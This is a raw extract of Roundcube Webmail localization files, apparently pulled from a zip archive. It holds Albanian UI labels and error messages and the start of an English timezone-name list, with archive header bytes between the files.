$labels['arialabelmessageheaders'] = 'Krye mesazhi';
$labels['arialabelforwardingoptions'] = 'Mundësi përcjelljesh';
$labels['arialabelreplyalloptions'] = 'Mundësi për Përgjigju-krejt';
$labels['arialabelmoremessageactions'] = 'Më tepër veprime mbi mesazhe';
$labels['arialabelmorecontactactions'] = 'Më tepër veprime mbi kontakte';
$labels['arialabelmarkmessagesas'] = 'Mesazheve të përzgjedhur vëru shenjë si…';
$labels['arialabelcomposeoptions'] = 'Mundësi hartimi';
$labels['arialabelresponsesmenu'] = 'Menu përgjigjesh të parapërgatitura';
$labels['arialabelattachmentuploadform'] = 'Formular ngarkimi bashkëngjitjesh';
$labels['arialabelattachmentmenu'] = 'Mundësi bashkëngjitjesh';
$labels['arialabelmailtomenu'] = 'Mundësi adresash email';
$labels['arialabelattachmentpreview'] = 'Paraparje bashkëngjitjesh';
$labels['ariasummarycomposecontacts'] = 'Listë kontaktesh dhe grupesh për t’u përzgjedhur si marrës';
$labels['arialabelcontactexportoptions'] = 'Mundësi eksportimi kontaktesh';
$labels['arialabelabookgroupoptions'] = 'Mundësi libri adresash/grupi';
$labels['arialabelpreferencesform'] = 'Formular parapëlqimesh';
$labels['arialabelidentityeditfrom'] = 'Formular përpunimi identitetesh';
$labels['arialabelresponseeditfrom'] = 'Formular përpunimi përgjigjesh';
$labels['arialabelsearchterms'] = 'Terma kërkimi';
$labels['arialabeldropactionmenu'] = 'Menu veprimi Merr-dhe-Vër';
$labels['arialabelheadersmenu'] = 'Menu shtimi marrësi (krye)';
$labels['arialabelimagetools'] = 'Mjete figure';
$labels['helplistnavigation'] = 'Lëvizje me tastierë në lista';
$labels['helplistkeyboardnavigation'] = "Shigjeta sipër/poshtë: Zhvendosni fokusin/përzgjedhjen në rreshta.
Space: Përzgjidhni rreshtin që ka fokusin.
Shift + up/down: Përzgjidhni rreshta shtesë sipër/poshtë.
Ctrl + Space: Shtojeni rreshtin që ka fokusin te përzgjedhja/heqja nga përzgjedhja.";
$labels['helplistkeyboardnavmessages'] = "Shigjetat majtas/djathtas: zgjeroni/tkurrni rrjedhë mesazhesh (e vlefshme vetëm nën mënyrën rrjedhë).
Enter: Hapni mesazhin e përzgjedhur/atë që ka fokusin.
Delete: Shpjereni mesazhin e përzgjedhur te Hedhurinat.";
$labels['helplistkeyboardnavcontacts'] = "Enter: Hapni kontaktin e përzgjedhur/atë që ka fokusin.";
PK
h�\(�l�HH'program/localization/sq_AL/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Ndodhi një gabim!';
$messages['loginfailed']  = 'Hyrja dështoi.';
$messages['cookiesdisabled'] = 'Shfletuesi juaj s’i pranon cookie-t.';
$messages['sessionerror'] = 'Sesioni juaj është i pavlefshëm ose ka skaduar.';
$messages['cookiesmismatch'] = 'U pikas ngatërrim cookie-sh. Ju lutemi, pastroni cookie-t prej shfletuesit tuaj.';
$messages['storageerror'] = 'Lidhja me shërbyesin e depozitimit dështoi.';
$messages['servererror'] = 'Gabim Shërbyesi!';
$messages['servererrormsg'] = 'Gabim Shërbyesi: $msg';
$messages['accountlocked'] = 'Numër i madh përpjekjesh të dështuara për hyrje. Riprovoni më vonë.';
$messages['connerror'] = 'Gabim Lidhjeje (S’u arrit të kapej shërbyesi)!';
$messages['dberror'] = 'Gabim Baze të Dhënash!';
$messages['dbconnerror'] = 'S’arrihet të lidhet me bazën e të dhënave!';
$messages['windowopenerror'] = 'Dritarja flluskë u bllokua!';
$messages['requesttimedout'] = 'Kërkesës i mbaroi koha';
$messages['errorreadonly'] = 'S’arrihet të kryhet veprimi. Dosja është vetëm për lexim.';
$messages['errornoperm'] = 'S’arrihet të kryhet veprimi. Leje të mohuara.';
$messages['erroroverquota'] = 'S’arrihet të kryhet veprimi. S’ka hapësirë të lirë në disk.';
$messages['erroroverquotadelete'] = 'S’ka hapësirë të lirë në disk. Përdorni SHIFT+DEL që të fshini një mesazh.';
$messages['invalidrequest'] = 'Kërkesë e pavlefshme! S’u ruajt ndonjë e dhënë.';
$messages['invalidhost'] = 'Emër i pavlefshëm shërbyesi.';
$messages['nomessagesfound'] = 'S’u gjetën mesazhe në këtë kuti postare.';
$messages['loggedout'] = 'E përfunduat me sukses sesionin. Mirupafshim!';
$messages['mailboxempty'] = 'Kutia postare është e zbrazët';
$messages['nomessages'] = 'S’ka mesazhe';
$messages['refreshing'] = 'Po rifreskohet…';
$messages['loading'] = 'Po ngarkohet...';
$messages['uploading'] = 'Po ngarkohet kartelë…';
$messages['attaching'] = 'Po bashkëngjitet kartelë…';
$messages['uploadingmany'] = 'Po ngarkohen kartela…';
$messages['loadingdata'] = 'Po ngarkohen të dhëna...';
$messages['checkingmail'] = 'Po kontrollohet për mesazhe të rinj...';
$messages['sendingmessage'] = 'Po dërgohet mesazhi...';
$messages['messagesent'] = 'Mesazhi u dërgua me sukses.';
$messages['savingmessage'] = 'Po ruhet mesazhi...';
$messages['messagesaved'] = 'Mesazhi u ruajt te Skicat.';
$messages['successfullysaved'] = 'U ruajt me sukses.';
$messages['savingresponse'] = 'Po ruhet tekst përgjigjeje…';
$messages['deleteresponseconfirm'] = 'Doni vërtet të fshihet ky tekst përgjigjeje?';
$messages['nocontactselected'] = 'S’keni përzgjedhur ende ndonjë kontakt.';
$messages['addedsuccessfully'] = 'Kontakti u shtua me sukses në librin e adresave.';
$messages['contactexists'] = 'Ka tashmë një kontakt me të njëjtën adresë email.';
$messages['contactnameexists'] = 'Ka tashmë një kontakt me të njëjtin emër.';
$messages['blockedimages'] = 'Që të mbrohet privatësia juaj, figurat e largëta të këtij mesazhi janë bllokuar.';
$messages['blockedresources'] = 'Për mbrojtjen e privatësisë tuaj janë bllokuar burime të largët.';
$messages['suspiciousemail'] = 'Ky mesazh përmban adresa email të dyshimta që mund të jenë të rrejshme.';
$messages['bccemail'] = 'Mesazhi(et) e përcjella përmbajnë marrës të fshehtë (Bcc).';
$messages['bouncehint'] = 'Mesazhi do të dërgohet pa ndonjë ndryshim, d.m.th. duke përdorur lëndën, kryet dhe marrësit origjinalë.';
$messages['encryptedmessage'] = 'Ky është një mesazh i fshehtëzuar dhe s’mund të shfaqet. Na ndjeni!';
$messages['externalmessagedecryption'] = 'Ky është një mesazh i fshehtëzuar dhe mund të shfshehtëzohet me zgjerimin e shfletuesit tuaj.';
$messages['nopubkeyfor'] = 'S’u gjet kyç i vlefshëm publik për $email';
$messages['nopubkeyforsender'] = 'S’u gjet kyç i vlefshëm publik për identitetin e dërguesit tuaj. Doni të fshehtëzohet mesazhi vetëm për marrësit?';
$messages['encryptnoattachments'] = 'Bashkëngjitjet tashmë të ngarkuara s’mund të fshehtëzohen. Ju lutemi, rishtojini te përpunuesi i fshehtëzimeve.';
$messages['searchpubkeyservers'] = 'Doni të kërkohet në shërbyes publikë kyçesh për kyçin që mungon?';
$messages['encryptpubkeysfound'] = 'U gjetën kyçet publikë vijues:';
$messages['keyservererror'] = 'S\'u arrit të merret kyç që nga shërbyesi i kyçeve.';
$messages['keyimportsuccess'] = 'Kyçi publik $key u importua me sukses te vargu juaj i kyçeve.';
$messages['nocontactsfound'] = 'S’u gjetën kontakte.';
$messages['contactnotfound'] = 'S’u gjet kontakti i kërkuar.';
$messages['contactsearchonly'] = 'Duhet të përdorni një formular kërkimi që të shihni kontakte prej librit të përzgjedhur të adresave.';
$messages['sendingfailed'] = 'Dërgimi i mesazhit dështoi.';
$messages['senttooquickly'] = 'Ju lutemi, pritni $sec sekondë(a) përpara se të dërgohet ky mesazh.';
$messages['errorsavingsent'] = 'Ndodhi një gabim teksa ruhej mesazhi i dërguar.';
$messages['errorsaving'] = 'Ndodhi një gabim gjatë ruajtjes.';
$messages['errormoving'] = 'S’u lëviz dot mesazhi(et).';
$messages['errorcopying'] = 'S’u kopjua dot mesazhi(et).';
$messages['errordeleting'] = 'S’u fshi dot mesazhi(et).';
$messages['errormarking'] = 'S’iu vu dot shenjë mesazhit(eve).';
$messages['alerttitle'] = 'Kujdes';
$messages['confirmationtitle'] = 'Jeni i sigurt se…';
$messages['deletecontactconfirm']  = 'Doni vërtet të fshihet kontakti(et) i përzgjedhur?';
$messages['deletegroupconfirm']  = 'Doni vërtet të fshihet grupi i përzgjedhur?';
$messages['deletemessagesconfirm'] = 'Doni vërtet të fshihet mesazhi(et) i përzgjedhur?';
$messages['deletefolderconfirm']  = 'Doni vërtet të fshihet kjo dosje?';
$messages['movefolderconfirm']  = 'Doni vërtet të lëvizet kjo dosje?';
$messages['purgefolderconfirm']  = 'Doni vërtet të fshihen krejt mesazhet në këtë dosje?';
$messages['contactdeleting'] = 'Po fshihet kontakti(et)…';
$messages['groupdeleting'] = 'Po fshihet grupi…';
$messages['folderdeleting'] = 'Po fshihet dosja…';
$messages['foldermoving'] = 'Po lëvizet dosja…';
$messages['foldersubscribing'] = 'Po bëhet pajtimi te dosja…';
$messages['folderunsubscribing'] = 'Po hiqet pajtimi te dosja…';
$messages['formincomplete'] = 'Formulari s’u plotësua i tëri.';
$messages['noemailwarning'] = 'Ju lutemi, jepni një adresë email të vlefshme.';
$messages['nonamewarning']  = 'Ju lutemi, jepni një emër.';
$messages['nopagesizewarning'] = 'Ju lutemi, jepni një madhësi faqeje.';
$messages['nosenderwarning'] = 'Ju lutemi, jepni adresë email të dërguesit.';
$messages['recipientsadded'] = 'Marrësi(at) u shtuan me sukses.';
$messages['norecipientwarning'] = 'Ju lutemi, jepni të paktën një marrës.';
$messages['disclosedrecipwarning'] = 'Krejt pjesëmarrësit do të shohin adresat email të njëri-tjetrit.';
$messages['disclosedreciptitle'] = 'Shumë pjesëmarrës publikë';
$messages['nosubjectwarning']  = 'Fusha "Subjekt" është e zbrazët. Do të donit të jepnit një tani?';
$messages['nosubjecttitle']  = 'S’ka subjekt';
$messages['nobodywarning'] = 'Të dërgohet mesazhi pa tekst?';
$messages['notsentwarning'] = 'Mesazhi s’është dërguar dhe ka ndryshime të paruajtura. Doni të hidhen tej ndryshimet tuaja?';
$messages['restoresavedcomposedata'] = 'U gjet një mesazh i hartuar më parë, por i padërguar.\n\nSubjekt: $subject\nRuajtur më: $date\n\nDoni të rimerret ky mesazh?';
$messages['nosearchname'] = 'Ju lutemi, jepni emër kontakti ose adresë email.';
$messages['notuploadedwarning'] = 'S’janë ngarkuar ende krejt bashkëngjitjet. Ju lutemi, prisni ose anulojeni ngarkimin.';
$messages['searchsuccessful'] = 'U gjetën $nr mesazhe.';
$messages['contactsearchsuccessful'] = 'U gjetën $nr kontakte.';
$messages['searchnomatch'] = 'Kërkimi s’ktheu përputhje.';
$messages['searching'] = 'Po kërkohet…';
$messages['checking'] = 'Po kontrollohet…';
$messages['stillsearching'] = 'Ende në kërkim…';
$messages['nospellerrors'] = 'S’u gjetën gabime drejtshkrimi.';
$messages['folderdeleted'] = 'Dosja u fshi me sukses.';
$messages['foldersubscribed'] = 'Pajtimi te dosja u krye me sukses.';
$messages['folderunsubscribed'] = 'Pajtimi te dosja u hoq me sukses.';
$messages['folderpurged'] = 'Dosja u zbraz me sukses.';
$messages['folderexpunged'] = 'Dosja u ngjesh me sukses.';
$messages['deletedsuccessfully'] = 'U fshi me sukses.';
$messages['converting'] = 'Po i hiqet formatimi…';
$messages['messageopenerror'] = 'S’u ngarkuan dot mesazhe që nga shërbyesi.';
$messages['filelinkerror'] = 'Dështoi bashkëngjitja e kartelës.';
$messages['fileuploaderror'] = 'Dështoi ngarkimi i kartelës.';
$messages['csvfilemismatch'] = 'Nuk mbulohet importimi njëherësh i shumë kartelave CSV me fusha të ndryshme.';
$messages['filesizeerror'] = 'Kartela e ngarkuar e tejkalon madhësinë maksimum prej $size.';
$messages['filecounterror'] = 'Mund të ngarkoni e shumta $count kartela njëherësh.';
$messages['msgsizeerror'] = 'Dështoi bashkëngjitja e një kartele. Tejkalohej madhësi maksimum e një mesazhi ($size).';
$messages['msgsizeerrorfwd'] = 'U tejkalua madhësia maksimum për mesazhet ($size). S’u bashkëngjit(ën) $num mesazh(e).';
$messages['copysuccess'] = 'U kopjuan me sukses $nr kontakte.';
$messages['movesuccess'] = 'U lëvizën me sukses $nr kontakte.';
$messages['copyerror'] = 'S’u kopjua dot ndonjë kontakt.';
$messages['moveerror'] = 'S’u lëviz dot ndonjë kontakt.';
$messages['sourceisreadonly'] = 'Ky burim adrese është vetëm i lexueshëm.';
$messages['errorsavingcontact'] = 'S’u ruajt dot adresa e kontaktit.';
$messages['movingmessage'] = 'Po lëvizet mesazhi(et)...';
$messages['copyingmessage'] = 'Po kopjohet mesazhi(et)…';
$messages['copyingcontact'] = 'Po kopjohet kontakti(et)…';
$messages['movingcontact'] = 'Po lëvizet kontakti(et)…';
$messages['deletingmessage'] = 'Po fshihet mesazhi(et)…';
$messages['markingmessage'] = 'Po i vihet shenjë mesazhit(et)…';
$messages['addingmember'] = 'Po shtohet kontakti(et) te grupi…';
$messages['removingmember'] = 'Po hiqet kontakti(et) nga grupi…';
$messages['receiptsent'] = 'U dërgua me sukses dëftesë leximi.';
$messages['errorsendingreceipt'] = 'S’u dërgua dot dëftesa.';
$messages['deleteidentityconfirm'] = 'Doni vërtet të fshihet ky identitet?';
$messages['nodeletelastidentity'] = 'Këtë identitet s’mund ta fshini, është i fundit i juaji.';
$messages['forbiddencharacter'] = 'Emri i dosjes përmban një shenjë të ndaluar.';
$messages['selectimportfile'] = 'Ju lutemi, përzgjidhni kartelë për ngarkim.';
$messages['addresswriterror'] = 'Libri i adresave i përzgjedhur s’është i shkrueshëm.';
$messages['contactaddedtogroup'] = 'Kontaktet u shtuan me sukses te ky grup.';
$messages['contactremovedfromgroup'] = 'Kontaktet u hoqën me sukses nga ky grup.';
$messages['nogroupassignmentschanged'] = 'S’pati ndryshime në përshoqërime grupi.';
$messages['importwait'] = 'Po importohet, ju lutemi, prisni…';
$messages['importformaterror'] = 'Importimi dështoi! Kartela e ngarkuar s’është kartelë e vlefshme të dhënash importimi.';
$messages['importconfirm'] = '<b>U importuan me sukses $inserted kontakte</b>';
$messages['importconfirmskipped'] = '<b>U anashkaluan $skipped zëra ekzistues</b>';
$messages['importmessagesuccess'] = 'U importuan me sukses $nr mesazhe';
$messages['importmessageerror'] = 'Importimi dështoi! Kartela e ngarkuar s’është kartelë e vlefshme mesazhi apo kutie postare';
$messages['opnotpermitted'] = 'Veprim i palejuar!';
$messages['nofromaddress'] = 'Në identitetin e përzgjedhur mungon adresë email.';
$messages['editorwarning'] = 'Këmbimi i llojit të përpunuesit mund të shkaktojë humbjen e formatimit të tekstit. Doni të vazhdohet?';
$messages['httpreceivedencrypterror'] = 'Ndodhi një gabim fatal formësimi. Lidhuni menjëherë me përgjegjësin tuaj. <b>Mesazhi juaj s’u dërgua dot.</b>';
$messages['smtpconnerror'] = 'Gabim SMTP ($code): Lidhja me shërbyesin dështoi.';
$messages['smtpautherror'] = 'Gabim SMTP ($code): Mirëfilltësimi dështoi.';
$messages['smtpfromerror'] = 'Gabim SMTP ($code): Dështoi rregullimi i dërguesit "$from" ($msg).';
$messages['smtptoerror'] = 'Gabim SMTP ($code): Dështoi shtimi i marrësit "$to" ($msg).';
$messages['smtprecipientserror'] = 'Gabim SMTP: S’arrihet të përtypet lista e marrësve.';
$messages['smtputf8error'] = 'Gabim SMTP: Shërbyesi nuk mbulon kodim Unikod në adresa email.';
$messages['smtpsizeerror'] = 'Gabim SMTP: Madhësia e mesazhit e tejkalon kufirin e shërbyesit ($limit)';
$messages['smtperror'] = 'Gabim SMTP: $msg';
$messages['emailformaterror'] = 'Adresë email e pavlefshme: $email';
$messages['toomanyrecipients'] = 'Shumë marrës. Zvogëloni numrin e marrësve deri në $max.';
$messages['maxgroupmembersreached'] = 'Numri i anëtarëve të grupit e tejkalon maksimumin prej $max.';
$messages['internalerror'] = 'Ndodhi një gabim i brendshëm. Ju lutemi, riprovoni.';
$messages['contactdelerror'] = 'S’u fshi dot kontakti(et).';
$messages['contactdeleted'] = 'Kontakti(et) u fshi me sukses.';
$messages['contactrestoreerror'] = 'S’u rikthye dot kontakti(et) i fshirë.';
$messages['contactrestored'] = 'Kontakti(et) u rikthye me sukses.';
$messages['groupdeleted'] = 'Grupi u fshi me sukses.';
$messages['grouprenamed'] = 'Grupi u riemërtua me sukses.';
$messages['groupcreated'] = 'Grupi u krijua me sukses.';
$messages['savedsearchdeleted'] = 'Kërkimi i ruajtur u fshi me sukses.';
$messages['savedsearchdeleteerror'] = 'S’u fshi dot kërkimi i ruajtur.';
$messages['savedsearchcreated'] = 'Kërkimi i ruajtur u krijua me sukses.';
$messages['savedsearchcreateerror'] = 'S’u krijua dot kërkimi i ruajtur.';
$messages['messagedeleted'] = 'Mesazhi(et) u fshi me sukses.';
$messages['messagemoved'] = 'Mesazhi(et) u lëviz me sukses.';
$messages['messagemovedtotrash'] = 'Mesazhi(et) u shpunë me sukses te Hedhurinat.';
$messages['messagecopied'] = 'Mesazhi(et) u kopjua me sukses.';
$messages['messagemarked'] = 'Mesazhi(et) iu vu shenjë me sukses.';
$messages['autocompletechars'] = 'Për vetëplotësim jepni të paktën $min shenjë.';
$messages['autocompletemore'] = 'U gjetën më tepër zëra me përputhje. Ju lutemi, shtypni më tepër shenja.';
$messages['namecannotbeempty'] = 'Emri s’mund të jetë i zbrazët.';
$messages['nametoolong'] = 'Emri është shumë i gjatë.';
$messages['namedotforbidden'] = 'Emri i dosjes s’mund të fillojë me një pikë.';
$messages['folderupdated'] = 'Dosja u përditësua me sukses.';
$messages['foldercreated'] = 'Dosja u krijua me sukses.';
$messages['invalidimageformat'] = 'Format i pavlefshëm figure.';
$messages['mispellingsfound'] = 'U pikasën gabime drejtshkrimi te mesazhi.';
$messages['parentnotwritable'] = 'S’arrihet të krijohet/lëvizet dosje te dosja mëmë e përzgjedhur. Pa të drejta hyrjeje.';
$messages['messagetoobig'] = 'Pjesa e mesazhit është shumë e madhe për ta përpunuar.';
$messages['attachmentvalidationerror'] = 'Kjo bashkëngjite është e dyshimtë, ngaqë nuk përputhet me llojin e deklaruar në mesazh. Nëse nuk e besoni dërguesin, s’duhet ta hapni në shfletues, ngaqë mund të përmbajë lëndë dashakeqe.<br/><br/><em>Pritej: $expected; u gjet: $detected</em>';
$messages['noscriptwarning'] = 'Kujdes: Ky shërbyes webmail lyp Javascript! Që të mund ta përdorni, ju lutemi, aktivizoni Javascript-in te rregullimet e shfletuesit tuaj.';
$messages['messageissent'] = 'Mesazhi qe dërguar tashmë, por s’qe ruajtur ende. Doni ta ruani tani?';
$messages['errnotfound'] = 'Kartelë Që S’gjendet';
$messages['errnotfoundexplain'] = 'Burimi i kërkuar nuk u gjet!';
$messages['errfailedrequest'] = 'Kërkesë e dështuar';
$messages['errauthorizationfailed'] = 'Mirëfilltësimi Dështoi';
$messages['errunauthorizedexplain'] = 'S’u verifikua dot se jeni i autorizuar të hyni në këtë shërbim!';
$messages['errrequestcheckfailed'] = 'Dështoi Kontrolli i Kërkesës';
$messages['errcsrfprotectionexplain'] = "Për hir të mbrojtjes tuaj, hyrja në këtë burim është e siguruar kundrejt CSRF-së.\nNëse e shihni këtë sinjalizim, ka gjasa që s’bëtë daljen para se të dilnit nga aplikacioni web.\n\nQë të vazhdohet, tani lypset ndërveprim nga qenie njerëzore.";
$messages['errcontactserveradmin'] = 'Ju lutemi, lidhuni me përgjegjësin e shërbyesit tuaj.';
$messages['clicktoresumesession'] = 'Klikoni këtu që të të rimerret sesioni juaj i mëparshëm';
$messages['errcomposesession'] = 'Gabim sesioni hartimi';
$messages['errcomposesessionexplain'] = 'S’u gjet sesioni i kërkuar i hartimit.';
$messages['clicktocompose'] = 'Klikoni këtu që të hartoni një mesazh të ri';
$messages['nosupporterror'] = 'Kjo veçori nuk mbulohet nga shfletuesi juaj.';
$messages['siginserted'] = 'Nënshkrimi u fut me sukses.';
$messages['responseinserted'] = 'Përgjigja u fut me sukses.';
$messages['noresponsesavailable'] = 'S’ka përgjigje';
$messages['listempty'] = 'Lista është e zbrazët.';
$messages['listusebutton'] = 'Përdorni butonin Krijoje që të shtoni një zë të ri.';
$messages['keypaircreatesuccess'] = 'Për $identity u krijua me sukses një dyshe e re kyçesh.';
$messages['emptyattachment'] = 'Kjo bashkëngjitje duket të jetë e zbrazët. <br>Ju lutemi, kontrolloni duke u lidhur me personin që e dërgoi.';
$messages['oauthloginfailed'] = 'Hyrja me OAuth dështoi. Ju lutemi, riprovoni.';
PK
h�\r�u7�N�N(program/localization/en_US/timezones.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/timezones/
*/

$labels = [];
$labels['tz:utc'] = 'UTC';
$labels['tz:africa'] = 'Africa';
$labels['tz:africa:abidjan'] = 'Abidjan';
$labels['tz:africa:accra'] = 'Accra';
$labels['tz:africa:addis_ababa'] = 'Addis Ababa';
$labels['tz:africa:algiers'] = 'Algiers';
$labels['tz:africa:asmara'] = 'Asmara';
$labels['tz:africa:bamako'] = 'Bamako';
$labels['tz:africa:bangui'] = 'Bangui';
$labels['tz:africa:banjul'] = 'Banjul';
$labels['tz:africa:bissau'] = 'Bissau';
$labels['tz:africa:blantyre'] = 'Blantyre';
$labels['tz:africa:brazzaville'] = 'Brazzaville';
$labels['tz:africa:bujumbura'] = 'Bujumbura';
$labels['tz:africa:cairo'] = 'Cairo';
$labels['tz:africa:casablanca'] = 'Casablanca';
$labels['tz:africa:ceuta'] = 'Ceuta';
$labels['tz:africa:conakry'] = 'Conakry';
$labels['tz:africa:dakar'] = 'Dakar';
$labels['tz:africa:dar_es_salaam'] = 'Dar es Salaam';
$labels['tz:africa:djibouti'] = 'Djibouti';
$labels['tz:africa:douala'] = 'Douala';
$labels['tz:africa:el_aaiun'] = 'El Aaiun';
$labels['tz:africa:freetown'] = 'Freetown';
$labels['tz:africa:gaborone'] = 'Gaborone';
$labels['tz:africa:harare'] = 'Harare';
$labels['tz:africa:johannesburg'] = 'Johannesburg';
$labels['tz:africa:juba'] = 'Juba';
$labels['tz:africa:kampala'] = 'Kampala';
$labels['tz:africa:khartoum'] = 'Khartoum';
$labels['tz:africa:kigali'] = 'Kigali';
$labels['tz:africa:kinshasa'] = 'Kinshasa';
$labels['tz:africa:lagos'] = 'Lagos';
$labels['tz:africa:libreville'] = 'Libreville';
$labels['tz:africa:lome'] = 'Lomé';
$labels['tz:africa:luanda'] = 'Luanda';
$labels['tz:africa:lubumbashi'] = 'Lubumbashi';
$labels['tz:africa:lusaka'] = 'Lusaka';
$labels['tz:africa:malabo'] = 'Malabo';
$labels['tz:africa:maputo'] = 'Maputo';
$labels['tz:africa:maseru'] = 'Maseru';
$labels['tz:africa:mbabane'] = 'Mbabane';
$labels['tz:africa:mogadishu'] = 'Mogadishu';
$labels['tz:africa:monrovia'] = 'Monrovia';
$labels['tz:africa:nairobi'] = 'Nairobi';
$labels['tz:africa:ndjamena'] = 'Ndjamena';
$labels['tz:africa:niamey'] = 'Niamey';
$labels['tz:africa:nouakchott'] = 'Nouakchott';
$labels['tz:africa:ouagadougou'] = 'Ouagadougou';
$labels['tz:africa:porto-novo'] = 'Porto-Novo';
$labels['tz:africa:sao_tome'] = 'São Tomé';
$labels['tz:africa:tripoli'] = 'Tripoli';
$labels['tz:africa:tunis'] = 'Tunis';
$labels['tz:africa:windhoek'] = 'Windhoek';
$labels['tz:america'] = 'America';
$labels['tz:america:adak'] = 'Adak';
$labels['tz:america:anchorage'] = 'Anchorage';
$labels['tz:america:anguilla'] = 'Anguilla';
$labels['tz:america:antigua'] = 'Antigua';
$labels['tz:america:araguaina'] = 'Araguaina';
$labels['tz:america:argentina'] = 'Argentina';
$labels['tz:america:argentina:buenos_aires'] = 'Buenos Aires';
$labels['tz:america:argentina:catamarca'] = 'Catamarca';
$labels['tz:america:argentina:cordoba'] = 'Cordoba';
$labels['tz:america:argentina:jujuy'] = 'Jujuy';
$labels['tz:america:argentina:la_rioja'] = 'La Rioja';
$labels['tz:america:argentina:mendoza'] = 'Mendoza';
$labels['tz:america:argentina:rio_gallegos'] = 'Rio Gallegos';
$labels['tz:america:argentina:salta'] = 'Salta';
$labels['tz:america:argentina:san_juan'] = 'San Juan';
$labels['tz:america:argentina:san_luis'] = 'San Luis';
$labels['tz:america:argentina:tucuman'] = 'Tucuman';
$labels['tz:america:argentina:ushuaia'] = 'Ushuaia';
$labels['tz:america:aruba'] = 'Aruba';
$labels['tz:america:asuncion'] = 'Asunción';
$labels['tz:america:atikokan'] = 'Atikokan';
$labels['tz:america:bahia'] = 'Bahia';
$labels['tz:america:bahia_banderas'] = 'Bahia Banderas';
$labels['tz:america:barbados'] = 'Barbados';
$labels['tz:america:belem'] = 'Belem';
$labels['tz:america:belize'] = 'Belize';
$labels['tz:america:blanc-sablon'] = 'Blanc-Sablon';
$labels['tz:america:boa_vista'] = 'Boa Vista';
$labels['tz:america:bogota'] = 'Bogota';
$labels['tz:america:boise'] = 'Boise';
$labels['tz:america:cambridge_bay'] = 'Cambridge Bay';
$labels['tz:america:campo_grande'] = 'Campo Grande';
$labels['tz:america:cancun'] = 'Cancun';
$labels['tz:america:caracas'] = 'Caracas';
$labels['tz:america:cayenne'] = 'Cayenne';
$labels['tz:america:cayman'] = 'Cayman';
$labels['tz:america:chicago'] = 'Chicago';
$labels['tz:america:chihuahua'] = 'Chihuahua';
$labels['tz:america:costa_rica'] = 'Costa Rica';
$labels['tz:america:creston'] = 'Creston';
$labels['tz:america:cuiaba'] = 'Cuiaba';
$labels['tz:america:curacao'] = 'Curaçao';
$labels['tz:america:danmarkshavn'] = 'Danmarkshavn';
$labels['tz:america:dawson'] = 'Dawson';
$labels['tz:america:dawson_creek'] = 'Dawson Creek';
$labels['tz:america:denver'] = 'Denver';
$labels['tz:america:detroit'] = 'Detroit';
$labels['tz:america:dominica'] = 'Dominica';
$labels['tz:america:edmonton'] = 'Edmonton';
$labels['tz:america:eirunepe'] = 'Eirunepe';
$labels['tz:america:el_salvador'] = 'El Salvador';
$labels['tz:america:fort_nelson'] = 'Fort Nelson';
$labels['tz:america:fortaleza'] = 'Fortaleza';
$labels['tz:america:glace_bay'] = 'Glace Bay';
$labels['tz:america:godthab'] = 'Godthab';
$labels['tz:america:goose_bay'] = 'Goose Bay';
$labels['tz:america:grand_turk'] = 'Grand Turk';
$labels['tz:america:grenada'] = 'Grenada';
$labels['tz:america:guadeloupe'] = 'Guadeloupe';
$labels['tz:america:guatemala'] = 'Guatemala';
$labels['tz:america:guayaquil'] = 'Guayaquil';
$labels['tz:america:guyana'] = 'Guyana';
$labels['tz:america:halifax'] = 'Halifax';
$labels['tz:america:havana'] = 'Havana';
$labels['tz:america:hermosillo'] = 'Hermosillo';
$labels['tz:america:indiana'] = 'Indiana';
$labels['tz:america:indiana:indianapolis'] = 'Indianapolis';
$labels['tz:america:indiana:knox'] = 'Knox';
$labels['tz:america:indiana:marengo'] = 'Marengo';
$labels['tz:america:indiana:petersburg'] = 'Petersburg';
$labels['tz:america:indiana:tell_city'] = 'Tell City';
$labels['tz:america:indiana:vevay'] = 'Vevay';
$labels['tz:america:indiana:vincennes'] = 'Vincennes';
$labels['tz:america:indiana:winamac'] = 'Winamac';
$labels['tz:america:inuvik'] = 'Inuvik';
$labels['tz:america:iqaluit'] = 'Iqaluit';
$labels['tz:america:jamaica'] = 'Jamaica';
$labels['tz:america:juneau'] = 'Juneau';
$labels['tz:america:kentucky'] = 'Kentucky';
$labels['tz:america:kentucky:louisville'] = 'Louisville';
$labels['tz:america:kentucky:monticello'] = 'Monticello';
$labels['tz:america:kralendijk'] = 'Kralendijk';
$labels['tz:america:la_paz'] = 'La Paz';
$labels['tz:america:lima'] = 'Lima';
$labels['tz:america:los_angeles'] = 'Los Angeles';
$labels['tz:america:lower_princes'] = 'Lower Princes';
$labels['tz:america:maceio'] = 'Maceio';
$labels['tz:america:managua'] = 'Managua';
$labels['tz:america:manaus'] = 'Manaus';
$labels['tz:america:marigot'] = 'Marigot';
$labels['tz:america:martinique'] = 'Martinique';
$labels['tz:america:matamoros'] = 'Matamoros';
$labels['tz:america:mazatlan'] = 'Mazatlan';
$labels['tz:america:menominee'] = 'Menominee';
$labels['tz:america:merida'] = 'Merida';
$labels['tz:america:metlakatla'] = 'Metlakatla';
$labels['tz:america:mexico_city'] = 'Mexico City';
$labels['tz:america:miquelon'] = 'Miquelon';
$labels['tz:america:moncton'] = 'Moncton';
$labels['tz:america:monterrey'] = 'Monterrey';
$labels['tz:america:montevideo'] = 'Montevideo';
$labels['tz:america:montserrat'] = 'Montserrat';
$labels['tz:america:nassau'] = 'Nassau';
$labels['tz:america:new_york'] = 'New York';
$labels['tz:america:nipigon'] = 'Nipigon';
$labels['tz:america:nome'] = 'Nome';
$labels['tz:america:noronha'] = 'Noronha';
$labels['tz:america:north_dakota'] = 'North Dakota';
$labels['tz:america:north_dakota:beulah'] = 'Beulah';
$labels['tz:america:north_dakota:center'] = 'Center';
$labels['tz:america:north_dakota:new_salem'] = 'New Salem';
$labels['tz:america:ojinaga'] = 'Ojinaga';
